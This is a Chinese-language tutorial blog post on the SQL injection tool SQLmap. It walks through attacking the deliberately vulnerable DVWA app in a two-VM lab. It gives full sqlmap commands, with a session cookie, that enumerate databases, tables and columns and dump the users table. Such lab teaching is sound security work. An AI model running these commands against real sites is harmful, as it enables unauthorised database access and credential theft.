此系列笔记是网络渗透工具的使用方法,本篇是介绍 SQL 注入工具 SQLmap 的使用方法。SQLmap 是一款用来检测与利用 SQL 注入漏洞的免费开源工具,有一个非常棒的特性,即对检测与利用的自动化处理(数据库指纹、访问底层文件系统、执行命令)
SQLmap 环境
由于 kali Liunx 已经集成了 SQLmap 的环境,这里就直接介绍 Windows 下环境的构建。
先安装 Python
正常情况下我们安装 2.7.x 就好了。
Python 官网下载地址
接下来只需在环境变量 path 中添加 Python 的安装路径就好了。
再安装 SQLmap
SQLmap 官网下载地址
将 SQLmap 解压至 Python 目录下,将 SQLmap 的程序目录重命名为 sqlmap。
在桌面新建快捷方式
For Example:
DVWA 环境
DVWA(Dam Vulnerable Web Application) 使用 PHP+Mysql 编写的一套用于常规 WEB 漏洞教学和检测的 WEB 脆弱性测试程序。包含 SQL 注入、XSS、盲注等常见的一些漏洞。
DVWA GitHub 下载地址
在 Windows 下还需安装 PHP 环境,这里推介两个 PHP 集成环境。
upupw PHP 集成环境 phpStudy PHP 集成环境
接下来只需修改一下配置文件就好了。
SQlmap 使用方法
Windows 下跟 kali Liunx 下使用方法不相同。
为方便演示,我们创建两个虚拟机:
- 受害者机器,Windows 2003 操作系统,运行一个 WEB 服务器,同时跑着一个包含漏洞的 WEB 应用(DVWA)。
- 攻击器机器,使用 kali Liunx 或者其他版本的 Windows 包含 SQLmap 程序。
本次实验的目的:使用 SQLmap 得到以下信息:
- 枚举 MYSQL 用户名与密码。
- 枚举所有数据库。
- 枚举指定数据库的数据表。
- 枚举指定数据表中的所有用户名与密码。
查看帮助
Windows:查看 Python 帮助命令
python sqlmap.py -h
LANG-BASH | COPY
kali Liunx:查看 Python 帮助命令
sqlmap -h
LANG-BASH | COPY
需要注意的是 Windows 下的选项和 kali Liunx 下的选项是一致的,但是命令是不一致的。在 Windows 下使用 python sqlmap.py,而在 kali Liunx 下使用的是 sqlmap。
选项解释
- —cookie => 设置我们的 cookie 值 “将 DVWA 安全等级设置为 low”
- —data => 设置 POST 提交的值,如果是 GET 提交,不需要此选项
- -u => 指定目标 URL
- -b => 获取 DBMS banner
- —current-db => 获取当前数据库
- —current-user => 获取当前数据库的用户
- —tables => 获取数据库里所有的表名
- —columns => 获取表里的所有字段
- —dump => 获取值
- —current-user => 获取当前用户
- -D => 爆库指定数据库名
- -T => 爆库指定表名
- -C => 爆库指定字段名
- —string => 当查询可用时用来匹配页面中的字符串
- —users => 枚举 DBMS 用户
- —password => 枚举 DBMS 用户密码 hash
- —dbs => 枚举 DBMS 中的数据库
开始爆库
由于 Windows 和 kali Liunx 的做法基本一致,这里以 kali Liunx 为例。DVWA 的难度为 low。
先获取 Cookie
每一次的 Cookie 都不一样,这里是个示范。
For Example:
获取数据库,—current-db
For Example:
sqlmap -u "//192.168.79.132/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=austaukdtb8jq2919eideuqkp3; security=low" --current-db
LANG-BASH | COPY
URL 地址和 Cookie 请用真实的替换掉。这条命令可以把当前所有的数据库获取出来的。注意 --current-db 的 - 可是有两个的。
获取表,—tables
前面,我们已经获取到数据库名,这时候我们要指定数据库名。使用 -D 选项指定数据库名。注意 --tables 的 - 可是有两个的。
For Example:
sqlmap -u "//192.168.79.132/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=austaukdtb8jq2919eideuqkp3; security=low" -D 'dvwa' --tables
LANG-BASH | COPY
获取字段,—columns
前面,我们已经获取到数据库名和表名了,这时候我们要指定数据库名和表名。使用 -D 选项指定数据库名,使用 -T指定表名。这里我们选择表 users。注意 --columns 的 - 可是有两个的。
For Example:
sqlmap -u "//192.168.79.132/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=austaukdtb8jq2919eideuqkp3; security=low" -D 'dvwa' -T 'users' --columns
LANG-BASH | COPY
获取数据,—dump
前面,我们已经获取到数据库名、表名还有字段名了,这时候我们要指定数据库名、表名还有字段名。使用 -D 选项指定数据库名,使用 -T 指定表名,使用 -C 指定字段名。这里我们选择表 users中的字段 user_id。注意 --dump 的 - 可是有两个的。
For Example:
sqlmap -u "//192.168.79.132/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=austaukdtb8jq2919eideuqkp3; security=low" -D 'dvwa' -T 'users' -C 'user_id' --dump
LANG-BASH | COPY
- 本文链接: https://vxhly.github.io/2016/09/usage-of-sqlmap/
閱讀更多 每天一份乾貨 的文章